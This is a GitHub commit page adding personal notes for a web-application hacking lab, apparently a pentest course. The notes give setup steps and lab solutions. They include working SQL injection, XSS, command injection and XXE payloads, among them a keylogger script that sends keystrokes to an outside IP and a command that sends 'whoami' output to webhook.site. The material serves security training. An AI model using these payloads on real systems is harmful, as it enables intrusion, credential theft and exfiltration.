Skip to content

Commit 14b7628

Browse files
syselementsyselement
committed
Update 1-web-lab.md
1 parent f86c698 commit 14b7628

File tree

1 file changed

+176
-1
lines changed

1 file changed

+176
-1
lines changed

‎peh/6-webapp/1-web-lab.md

+176-1
Original file line numberDiff line numberDiff line change
@@ -1 +1,176 @@
1-
# Web App Lab Setup
1+
# Web App Lab Setup
2+
3+
> **Lab Requirements**
4+
>
5+
> - 1 Kali Linux VM
6+
> - [pimpmykali](https://github.com/Dewalt-arch/pimpmykali/blob/master/pimpmykali.sh)
7+
> - (optional) [peh-web-labs.tar.gz](https://cdn.fs.teachablecdn.com/CbIyLkOuS4GUH7TNFTFg)
8+
> - [Burp Suite](https://portswigger.net/burp/releases)
9+
10+
- Run `pimpmykali.sh` with `E` selection for **PEH Course WebApp Labs**
11+
12+
```bash
13+
# Clone a Github repository in the "/opt" dir
14+
cd /opt
15+
sudo rm -rf pimpmykali/
16+
sudo git clone https://github.com/Dewalt-arch/pimpmykali
17+
18+
sudo /opt/pimpmykali/pimpmykali.sh
19+
# Run menu option E for the WebApp Labs
20+
# The labs start automatically
21+
22+
# To STOP and CLEANUP the labs
23+
cd $HOME/peh/labs
24+
./cleanup-peh-labs.sh
25+
# This script removes ALL DOCKER CONTAINERS and NETWORKS!!!
26+
27+
# To START the labs
28+
cd $HOME/peh/labs
29+
./start-peh-labs.sh
30+
```
31+
32+
- Run Burp Suite and open its proxy browser
33+
- Browse to `http://localhost`
34+
- The database can be initialized/reset at `http://localhost/init.php`
35+
36+
---
37+
38+
> # Lab solutions
39+
>
40+
> ## Injection0x01
41+
>
42+
> - basic SQLi
43+
>
44+
> ## Injection0x02
45+
>
46+
> - login as jeremy:jeremy
47+
> - check the cookie used as a session token
48+
> - break it by adding a '
49+
> - notice the page doesn't show the welcome message now that there is a SQL error
50+
> - write a script to extract jessamy's password
51+
>
52+
> ## Injection0x03
53+
>
54+
> - sushi shop
55+
> - product search
56+
> - UNION select to enum other tables
57+
> - find creds & login
58+
>
59+
> ### solutions:
60+
>
61+
> `Tanjyoubi Sushi Rack' UNION SELECT username,password,null,null from injection0x03_users-- -`
62+
>
63+
> ## XSS 0x01
64+
>
65+
> `<img src=x onerror=alert(1);>`
66+
>
67+
> ## XSS 0x02
68+
>
69+
> `<img src=x onerror=alert(1);>`
70+
>
71+
> `<script>function logKey(event){fetch("http://10.10.100.146:4444/e?c=" + event.key)} document.addEventListener('keydown', logKey);</script>`
72+
>
73+
> ## XSS 0x03
74+
>
75+
> ## Command Inj 0x01
76+
>
77+
> `https://tcm-sec.com; whoami; asd`
78+
> `; cat /etc/passwd; asd`
79+
>
80+
> ## Command Inj 0x02
81+
>
82+
> `https://tcm-sec.com/& whoami& asd`
83+
> `https://tcm-sec.com/ | sleep 10 | asd`
84+
>
85+
> `https://webhook.site/<id>/?`whoami``
86+
>
87+
> ## Command Inj 0x03
88+
>
89+
> `45123)^2))}';whoami;#`
90+
>
91+
> ## File upload 0x01
92+
>
93+
> - Intercept
94+
> - Change contents
95+
> - Or turn off JS
96+
>
97+
> ## File upload 0x02
98+
>
99+
> - Bypass the client-side again
100+
> - Intercept and change the content-type to image/png or image/jpeg
101+
>
102+
> ## File upload 0x03
103+
>
104+
> - Bypass the client-side again
105+
> - Intercept and change the content-type again
106+
> - Use an extension that's not in the blocklist (.phtml)
107+
>
108+
> ## Authentication 0x01
109+
>
110+
> - Brute force
111+
>
112+
> ## Authentication 0x02
113+
>
114+
> - MFA code, switch username (code is OK for all users)
115+
> - Or, just brute the code
116+
>
117+
> ## Authentication 0x03
118+
>
119+
> - Account lockout after 5 attempts, therefore brute the top 4 passwords against a username list
120+
>
121+
> - common password list:
122+
>
123+
> ```
124+
> password
125+
> password123
126+
> letmein
127+
> manchesterunited
128+
> ```
129+
>
130+
> - common usernames list: `/usr/share/seclists/Usernames/Names/names.txt`
131+
>
132+
> ## XXE, IDOR, capstone
133+
>
134+
> ### XXE 0x01
135+
>
136+
> ```
137+
> <?xml version="1.0" encoding="UTF-8"?>
138+
> <!DOCTYPE creds [
139+
> <!ELEMENT creds ANY >]>
140+
> <creds><user>username</user><password>pass</password></creds>
141+
> ```
142+
>
143+
> ```
144+
> <?xml version="1.0" encoding="UTF-8"?>
145+
> <!DOCTYPE creds [
146+
> <!ELEMENT creds ANY >
147+
> <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
148+
> <creds><user>&xxe;</user><password>pass</password></creds>
149+
> ```
150+
>
151+
> ### IDOR
152+
>
153+
> `fuzz the parameter`
154+
>
155+
> - find an admin user (or all of the admin users)
156+
>
157+
> ### Capstone
158+
>
159+
> SQLi to get into admin panel
160+
> File upload to get RCE
161+
>
162+
> - XSS in the message alert
163+
> - XSS in account names probably? need to test
164+
>
165+
> - brute force user accounts
166+
>
167+
> - SQLi on adding rating
168+
>
169+
> `http://localhost/capstone/coffee.php?coffee=3' or 1=1-- -`
170+
>
171+
> `http://localhost/capstone/coffee.php?coffee=1%27%20union%20select%20null,username,password,null,null,null,null%20from%20users--%20-`
172+
>
173+
> # To do list
174+
>
175+
> - file upload capstone
176+
> - auth0x03 testing

0 commit comments

Comments
 (0)